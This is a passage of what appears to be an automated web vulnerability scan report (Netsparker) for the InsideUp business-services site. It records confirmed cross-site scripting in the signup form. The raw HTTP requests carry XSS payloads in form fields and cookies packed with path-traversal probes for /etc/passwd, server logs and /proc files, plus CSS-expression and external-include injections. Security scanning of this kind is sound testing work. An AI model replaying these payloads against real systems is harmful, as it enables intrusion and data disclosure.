</select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value=""> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('White Paper Form',0,'')" alt="" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerAdvertiseActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div> <div class="clear"></div> <div class="grid_5 aboutUs" style="margin-left:13px;margin-top:20px;"><a class="secondaryAction" style="margin-left:0;text-decoration: none;"><strong>About InsideUp</strong></a> | <a href="management.html" class="secondaryAction">Management</a> | <a href="pressRelease.html" class="secondaryAction">News Releases</a> | <a href="careers.html" class="secondaryAction">Careers</a> | <a href="contactUs.html" class="secondaryAction">Contact Us</a></div>
<div class="grid_5 aboutUs" style="margin-left:13px;margin-top:25px;"><span>Use InsideUp to Acquire New Business Service Customers</span></div>
<div class="clear"></div>
<div class="grid_1 aboutUs" style="margin-left:13px;margin-top:25px;">
<p>Founded by performance-based marketing, online advertising and lead generation experts, InsideUp operates an online lead generation platform that's dedicated solely to serving the needs of business service providers and their potential customers. InsideUp's online media network, dynamic business-matching lead generation system and leading-edge marketing practices provide business service firms with ready-to-buy qualified and verified sales leads, all delivered in real time.</p>
<p>InsideUp's platform also helps companies who are seeking business services to locate the right service provider for their specific needs. Companies seeking business services use InsideUp's online platform to access helpful vendor selection tools and content plus pricing and feature comparisons from several service vendors. Companies receive competitive bids from only pre-screened, high-quality vendors who meet their specific business needs.</p>
<p>This is all made possible by InsideUp's unique, proprietary platform, which combines next generation business-matching and prospect-profiling technologies with powerful search engine, social media and lead generation technologies.</p>
<p style="margin-bottom:15px;">Clearly most business service providers need a cost-effective and qualified pipeline of fresh sales prospects who are actively interested in what they sell. These providers are keenly interested in all sales prospects who can be converted into long-term, satisfied customers. InsideUp puts these business service providers into direct contact with prospects who are actively in the marketplace to purchase the type of services they provide.</p>
<img src="/images/party-links.jpg" alt="Links" border="0" usemap="#Map">
<map name="Map">
<area shape="rect" coords="2,1,184,64" href="https://twitter.com/VendorSourcing" target="_blank">
<area shape="rect" coords="198,1,379,63" href="http://www.youtube.com/insideupvendors" target="_blank">
<area shape="rect" coords="390,1,575,60" href="http://insideup.com/blogs/b2bsourcing" target="_blank">
</map> </div>
<div class="grid_4">
<div class="aboutUsForm" >
<form method="post" action="/whitePapaper.html"> <input type="hidden" name="src" value="aboutUs"> <input type="hidden" name="iusrc" value="3"> <input type="hidden" name="parentPage" value="3"> <table width="284" border="0" cellpadding="0" cellspacing="0" style="background-color:#ededed;"> <tr> <td colspan="2" class="head"> To get more information and receive a free copy of white paper "What Every Business Service Marketer Should Know about Online Lead Generation," simply complete the form below: </td> </tr> <tr> <td style="width:100px;">First Name</td> <td style="text-align:left;"> <input name="firstName" type="text" value="Smith"/> </td> </tr> <tr> <td>Last Name</td> <td> <input name="lastName" type="text" value="Smith"/> </td> </tr> <tr> <td>Company</td> <td> <input name="company" type="text" value="3"/> </td> </tr> <tr> <td>Phone Number</td> <td> <input name="phone" type="text" value="'"--></style></script><script>netsparker(0x0004AB)</script>"/> </td> </tr> <tr> <td>Email Address</td> <td> <input name="email" type="text" value="netsparker@example.com"/> </td> </tr> <tr> <td>Website</td> <td> <input name="url" type="text" value="3"/> </td> </tr> <tr> <td>Your Company's <br> Services?</td> <td> <input name="companyServices" type="text" value="3"/> </td> </tr> <tr> <td>..

- /communitysignup.html

/communitysignup.html CONFIRMED

http://www.insideup.com/communitysignup.html

Parameters

Parameter	Type	Value
companyName	POST	'"--></style></script><script>alert(0x0004B5)</script>
emailAddress	POST	netsparker@example.com
firstName	POST	Smith
lastName	POST	Smith
password1	POST	3
password2	POST	3
pseudonym	POST	3
receiveSpecialOfferEmail	POST	netsparker@example.com
refererUrl	POST	http://www.insideup.com/index.html
termsOfService	POST	3

Request

POST /communitysignup.html HTTP/1.1
Referer: http://www.insideup.com/communitysignup.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
Cookie: OAVARS[../../../../../../../../../../proc/self/fd/2\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 323
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

companyName='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0004B5)%3c%2fscript%3e&emailAddress=netsparker%40example.com&firstName=Smith&lastName=Smith&password1=3&password2=3&pseudonym=3&receiveSpecialOfferEmail=netsparker%40example.com&refererUrl=http%3a%2f%2fwww.insideup.com%2findex.html&termsOfService=3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:21:30 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=41211F516C1BD275CE97020CCF8C6874; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content="InsideUp, business, wiki, advertise, business category, vendors, ratings, business service, technology, leads, community, social networking, referral, reference, share, San Diego, commerce, b2b, trade, industry, selling, production, big business, dealing, corporation, conglomerate, establishment, partnership, firm, multinational, transnational, small business, enterprise, venture, organization, transaction, contract, commercial, occupational, corporate, publicize, market, search, forum, forums, discuss, share, information"/> <meta name="description" content="Join your community and share your services!"/> <meta name="robots" content="index; follow"/> <title>Share your services and experiences with your community.</title> <link rel="stylesheet" type="text/css" href="/css/mainNewInsideup.css" />
<link rel="stylesheet" type="text/css" href="/css/calendar.css" /> <script type="text/javascript" src="/js/jquery-1.2.1.js"></script> <script type="text/javascript" src="/js/ajax.js"></script> <script type="text/javascript" src="/js/ajax-dynamic-list.js"></script> <script type="text/javascript" src="/js/default.js"></script> <script type="text/javascript" src="/js/calendar.js" ></script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {} </script></head><body> <div id="mainContainer">
 <div class="header">  <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value="http://www.insideup.com/index.html"> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('Community Signup',0,'')" alt="Home" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerHomeActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div>   <div id="midSectionBox">  <script type="text/javascript"> function invertValue(y){ var x=document.getElementById(y).value if(x==0) { document.getElementById(y).value=1 } if(x==1) { document.getElementById(y).value=0 }}</script><div style="background:url(/images/midSliceMain.gif);"> <div style="width:850px; height:740px; margin:auto; padding-top:20px;">  <div style="width:530px; height:auto; float:left;"> <div id="communityLogin"> <div style="width:492px; height:84px; border:1px solid #eeeeee;"> <form method="post" id="communityLoginId"> <input type="hidden" name="refererUrl" value="http://www.insideup.com/index.html"> <table width="96%" border="0" align="right" cellpadding="0" cellspacing="0"> <tr> <td width="27%" height="70" style="font:bold 12px Arial, Helvetica, sans-serif; color:#777777;">Already A Member?</td> <td width="53%" valign="bottom" style="font:bold 12px Arial, Helvetica, sans-serif; color:#777777; padding-top:22px;">  <input name="username" value="username" type="text" onclick="clearInput(this);" onfocus="clearInput(this);" id="textfield" style="width:110px; padding:3px 0 0 3px; height:20px; border:1px solid #cccccc; margin-left:5px;" onkeypress="checkEnterKey(event)" /> <input type="password" name="password" id="textfield" style="width:110px; height:22px; border:1px solid #cccccc; padding:3px 0 0 3px; height:20px; margin-left:5px;" value="password" onclick="clearInput(this);" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" /> <span style="padding-left: 10px; line-height: 12px;"> <input type="hidden" name="_rememberme"> <input type="checkbox" name="rememberme" id="checkbox" value="true" /> <span style="color:#777777;font-size:10px;font-weight:bold;text-decoration:none;">Remember Me</span>       <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </span> </td> <td width="22%" style="padding-top:6px;">  <a href="javascript:void(0);" onclick="javascript:submitCommunityLogin();checkScreenWidth();"><img src="images/ComunityLogin.png" border="0" alt="Login"/></a> </td> </tr> </table> </form> </div> </div> <form method="post" action="communitysignup.html"> <input type="hidden" name="refererUrl" value='http://www.insideup.com/index.html'/> <div> <table width="496" border="0" cellspacing="0" cellpadding="0" style="margin-top:20px;"> <tr> <td colspan="2" style="font:bold 22px Arial, Helvetica, sans-serif; color:#181818;">Create Your Free Account</td> </tr> <tr> <td height="24" colspan="2" style="font:normal 12px Arial, Helvetica, sans-serif; color:#181818;">To gain free access to the InsideUp community please complete this short registration.</td> </tr> <tr> <td width="131" height="50" align="right" style="font:normal 12px Arial, Helvetica, sans-serif; color:#212121">Username <span style="color:#dc0000">*</span></td> <td width="365"> <input type="text" name="pseudonym" value="3" id="pseudonym" style="width:280px; height:18px; padding-top:3px; margin-left:10px;" class="inputbox123 " /> </td> </tr> <tr> <td height="50" align="right" style="font:normal 12px Arial, Helvetica, sans-serif; color:#212121">Email <span style="color:#dc0000">*</span></td> <td> <input type="text" name="emailAddress" value="netsparker@example.com" id="emailAddress" style="width..

- /communitysignup.html

/communitysignup.html CONFIRMED

http://www.insideup.com/communitysignup.html

Parameters

Parameter	Type	Value
companyName	POST	Smith
emailAddress	POST	'"--></style></script><script>alert(0x0004C8)</script>
firstName	POST	Smith
lastName	POST	Smith
password1	POST	3
password2	POST	3
pseudonym	POST	3
receiveSpecialOfferEmail	POST	netsparker@example.com
refererUrl	POST	http://www.insideup.com/index.html
termsOfService	POST	3

Request

POST /communitysignup.html HTTP/1.1
Referer: http://www.insideup.com/communitysignup.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
Cookie: OAVARS[../../../../../../../../../../proc/self/fd/2\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; 